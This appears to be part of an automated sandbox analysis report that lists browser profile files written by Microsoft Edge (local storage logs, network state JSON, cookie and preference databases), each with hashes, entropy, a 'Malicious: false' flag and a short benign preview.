Preview:	..j.z................VERSION.1..META:https://ntp.msn.com..............._https://ntp.msn.com..FallbackNavigationResult?.{"r":"edgenext-base-v1-empty. NetworkCall","ic":true,"te":472}.!_https://ntp.msn.com..LastKnownPV..1731803929450.-_https://ntp.msn.com..LastVisuallyReadyMarker..1731803931141.._https://ntp.msn.com..MUID!.314D2D5C8D2F66E331EB38668C2767E8.._https://ntp.msn.com..bkgdV...{"cachedVideoId":-1,"lastUpdatedTime":1731803929536,"schedule":[-1,-1,29,-1,-1,34,4],"scheduleFixed":[-1,-1,29,-1,-1,34,4],"simpleSchedule":[13,46,49,25,47,26,36]}.%_https://ntp.msn.com..clean_meta_flag..1.5_https://ntp.msn.com..enableUndersideAutoOpenFromEdge..false.7_https://ntp.msn.com..nurturing_interaction_trace_ls_id..1731803929406.&_https://ntp.msn.com..oneSvcUniTunMode..header."_https://ntp.msn.com..pageVersions..{"dhp":"20241115.411"}.*_https://ntp.msn.com..pivotSelectionSource..sticky.#_https://ntp.msn.com..selectedPivot..myFeed.5_https://ntp.msn.com..ssrBasePageCachingFeatureActive..true.#_https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.210776369197934
Encrypted:	false
SSDEEP:	6:HUa9+q2PN723oH+Tcwt8a2jMGIFUt8YUzS3JZmw+YUbN9VkwON723oH+Tcwt8a23:Z+vVaYeb8EFUt8Jm/+NV5OaYeb8bJ
MD5:	2D7D747088C3C647D844D69BDF670CFF
SHA1:	90FE0FCC605CD5C91054BB63AE3D755EFFBC4BE3
SHA-256:	8489BA676C9A4F65E3179388CDE7CCB600812C6974D8E451E9AEF71F0F98067C
SHA-512:	B9A0636E9DD05CB50BBC995A1121CA9FF918D19EC881346F8DFAC132649B116F46E93FF18986B03DCAC5694793DBAC4433F73FFA0AC1074CD0589CFB4C580766
Malicious:	false
Preview:	2024/11/16-19:38:36.569 1d2c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/16-19:38:36.570 1d2c Recovering log #3.2024/11/16-19:38:36.573 1d2c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.210776369197934
Encrypted:	false
SSDEEP:	6:HUa9+q2PN723oH+Tcwt8a2jMGIFUt8YUzS3JZmw+YUbN9VkwON723oH+Tcwt8a23:Z+vVaYeb8EFUt8Jm/+NV5OaYeb8bJ
MD5:	2D7D747088C3C647D844D69BDF670CFF
SHA1:	90FE0FCC605CD5C91054BB63AE3D755EFFBC4BE3
SHA-256:	8489BA676C9A4F65E3179388CDE7CCB600812C6974D8E451E9AEF71F0F98067C
SHA-512:	B9A0636E9DD05CB50BBC995A1121CA9FF918D19EC881346F8DFAC132649B116F46E93FF18986B03DCAC5694793DBAC4433F73FFA0AC1074CD0589CFB4C580766
Malicious:	false
Preview:	2024/11/16-19:38:36.569 1d2c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/16-19:38:36.570 1d2c Recovering log #3.2024/11/16-19:38:36.573 1d2c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\37cd0873-205f-4d93-a675-d2edfeb904b4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\61d60f0c-8b38-4641-89db-f3cedbf9e3b3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	1484
Entropy (8bit):	5.31011352757972
Encrypted:	false
SSDEEP:	24:YcCp/WwFGJ/I3RdsYyZVMdmRdsc+ZFRudFGRw6maPsw6C1Vds4ZC52H75QYhbA7+:YcCpfgCzs1tsc6fc7kBRsICgHaYhbj
MD5:	A1D31EB3CD61694419F8FDD4D746CFB0
SHA1:	37611F4B20CCE651AE0E9CB83A0C393398B6F9EB
SHA-256:	F33D9EF66D99D758DE329DEE537674F0CAC880B1E30E601088CEE5AE54E5505A
SHA-512:	8733C29AEE92DE3781C410606AA26967757E0E4D41571D2A844DEFBC72DA340541B9522F1AC9C1F5C0684D48F06AFE36979A2EA0E14867039A12AE9A7C84CE58
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13378869518970406","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13378869520670798","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://edge.microsoft.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL2F6dXJlZWR

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\8e54fdb0-1844-41c9-bf33-736d75fcc857.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287526653429432
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n+:YcCpWsktsHnfc7CvsfgCgakhYhbj
MD5:	C11A0C2888E9122AF3E0A9532E7CF485
SHA1:	213F8630A4D6B265DB899E1B4FED27EC8F2F1C75
SHA-256:	F08277C5DFC76862C95DA3763626FC4A099530B656C9ED5C42DE6E3079D64B57
SHA-512:	BB02933E6DF73CF073C94460869B99200E08C1B293D476B6F7C76F012B0BF9126A60031A31555CB755DF9C464B16272FEB6B1E0C0528FFAF5BB934F5E87A279E
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\9fef922a-9895-4d0e-9962-0a1a589727cc.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	2.820381673036232
Encrypted:	false
SSDEEP:	96:te+AurzVbvz0dOJF06ArsvHBSrmioXwD2/LFBC5o4Yb/0c4p0L/ZJV8Y:tTrzlCgQ2HBglogDwLy5O0c4p0L/ZJVb
MD5:	CCBF66FD966FBABA8CD5476FCA81FC9E
SHA1:	FED4AEBFFC6783B07220028CA435C9B2779A1652
SHA-256:	C341D809B101A32F5E116E71FA6F4E8EFC074E711BEB5C830505865906CF4608
SHA-512:	E071278EEEE1320B20382A2E6315A52673BB75882F5B60E25434F132B95DCFF6844BD3FE13D82BC9595B0BFC53AA6D9BEF21422A07310F1927EB7E36F55CD2C0
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287213485277577
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n7:YcCpWsktsHnfc7CvsfgCgakhYhbm
MD5:	093E3F0EA7D5CE1697260321E93C95EB
SHA1:	6D262FF62829A9F3990AFC80B9F457A1F345290C
SHA-256:	76CC4ABA0355B54B8694788A7DAD9C08FA1F6413DFCEE7A666D95A69C7A16A60
SHA-512:	2419B824319070C466335A90D9FAB94B9734245C1A58F4E3452BC7952D29FC346A04ECA62F549047EC26189C0386A07E7120466A7A78474CDF19280457804F4F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State~RF4368d.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287213485277577
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n7:YcCpWsktsHnfc7CvsfgCgakhYhbm
MD5:	093E3F0EA7D5CE1697260321E93C95EB
SHA1:	6D262FF62829A9F3990AFC80B9F457A1F345290C
SHA-256:	76CC4ABA0355B54B8694788A7DAD9C08FA1F6413DFCEE7A666D95A69C7A16A60
SHA-512:	2419B824319070C466335A90D9FAB94B9734245C1A58F4E3452BC7952D29FC346A04ECA62F549047EC26189C0386A07E7120466A7A78474CDF19280457804F4F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State~RF4d9a3.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287213485277577
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n7:YcCpWsktsHnfc7CvsfgCgakhYhbm
MD5:	093E3F0EA7D5CE1697260321E93C95EB
SHA1:	6D262FF62829A9F3990AFC80B9F457A1F345290C
SHA-256:	76CC4ABA0355B54B8694788A7DAD9C08FA1F6413DFCEE7A666D95A69C7A16A60
SHA-512:	2419B824319070C466335A90D9FAB94B9734245C1A58F4E3452BC7952D29FC346A04ECA62F549047EC26189C0386A07E7120466A7A78474CDF19280457804F4F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.377031764782298
Encrypted:	false
SSDEEP:	48:TFkIopKWurJNVr1GJmA8pv82pfurJNVrdHXuccaurJN2VrJ1n4n1GmzNGU1cSBwW:JkIEumQv8m1ccnvS6q+lGFh5lVaw1a
MD5:	FF20A6A0D320010DE46D353E51C79204
SHA1:	5A3E7940DF3E91BD1D71345AB2D05D452A1D898E
SHA-256:	8423FFD80D19677B54E29A9AD7D6E08EB1365CBE3B08B7EA175D28DD5277031A
SHA-512:	FED90887D05F39343FCA1140CDE9EC1EB5F2C8343A782305E6FEB952780072D05DD0562A82657CD9EA3E82E962F77FC55CA25474D5DAD5F6EEC9CE4DD7BFC855
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3d199.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3de7a.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\b922c210-2332-480b-8903-a865df085f33.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\de8f8065-574a-421b-8efa-80186c1252b7.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\e2169cf0-776a-4514-95f7-d2abd8151c3f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287213485277577
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n7:YcCpWsktsHnfc7CvsfgCgakhYhbm
MD5:	093E3F0EA7D5CE1697260321E93C95EB
SHA1:	6D262FF62829A9F3990AFC80B9F457A1F345290C
SHA-256:	76CC4ABA0355B54B8694788A7DAD9C08FA1F6413DFCEE7A666D95A69C7A16A60
SHA-512:	2419B824319070C466335A90D9FAB94B9734245C1A58F4E3452BC7952D29FC346A04ECA62F549047EC26189C0386A07E7120466A7A78474CDF19280457804F4F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8350301952073809
Encrypted:	false
SSDEEP:	24:TLSOUOq0afDdWec9sJlAMoqsgC7zn2z8ZI7J5fc:T+OUzDbg3sAM/sgCnn2ztc
MD5:	0DAD8D7F079797377CD56DAE47E1A619
SHA1:	A353C01C5B9BA9E0315ABA74D3337B7D6EE97CB2
SHA-256:	7BDA584E0C1BE9E104065370FD279A7E771D7EB4F7E4CC7C80F146931F150E33
SHA-512:	5A57C0D303672564DDEAA08B5DAAEE1BA24B67C46100720CE69F0908427ACE55F330D96A772D0E1F96B595FBBD70E6145AA464FC4F312EFE095F9AC909E304E8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9759
Entropy (8bit):	5.110760527436327
Encrypted:	false
SSDEEP:	192:stLkdpBosvVAaFvrE9k/lF8cbV+F1FIK7QAuMUwjPmYJ:stLQGsvVACDvbG1F97QZXi
MD5:	33E382EAAE795A31E4A47EC75D5B4A3E
SHA1:	55E331B2C8526FFC7492AB247FCB7CB3CA1FA639
SHA-256:	DED76AED8B767E1BCBA85CF70EC0424637EC2D1073C2B352CC30F424537A2150
SHA-512:	3974D4444DC79F033BAE1BE1A41709D0715E7F02A74847CDD90C310BD9D68FBFE9ED9D396644C9532126B3F65B8A2AA4CAEBEE3F7A7D4BDAF31B5E668C1106B1
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376277516731996","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF41161.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9759
Entropy (8bit):	5.110760527436327
Encrypted:	false
SSDEEP:	192:stLkdpBosvVAaFvrE9k/lF8cbV+F1FIK7QAuMUwjPmYJ:stLQGsvVACDvbG1F97QZXi
MD5:	33E382EAAE795A31E4A47EC75D5B4A3E
SHA1:	55E331B2C8526FFC7492AB247FCB7CB3CA1FA639
SHA-256:	DED76AED8B767E1BCBA85CF70EC0424637EC2D1073C2B352CC30F424537A2150
SHA-512:	3974D4444DC79F033BAE1BE1A41709D0715E7F02A74847CDD90C310BD9D68FBFE9ED9D396644C9532126B3F65B8A2AA4CAEBEE3F7A7D4BDAF31B5E668C1106B1
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376277516731996","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF459b5.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9759
Entropy (8bit):	5.110760527436327
Encrypted:	false
SSDEEP:	192:stLkdpBosvVAaFvrE9k/lF8cbV+F1FIK7QAuMUwjPmYJ:stLQGsvVACDvbG1F97QZXi
MD5:	33E382EAAE795A31E4A47EC75D5B4A3E
SHA1:	55E331B2C8526FFC7492AB247FCB7CB3CA1FA639
SHA-256:	DED76AED8B767E1BCBA85CF70EC0424637EC2D1073C2B352CC30F424537A2150
SHA-512:	3974D4444DC79F033BAE1BE1A41709D0715E7F02A74847CDD90C310BD9D68FBFE9ED9D396644C9532126B3F65B8A2AA4CAEBEE3F7A7D4BDAF31B5E668C1106B1
Malicious:	false
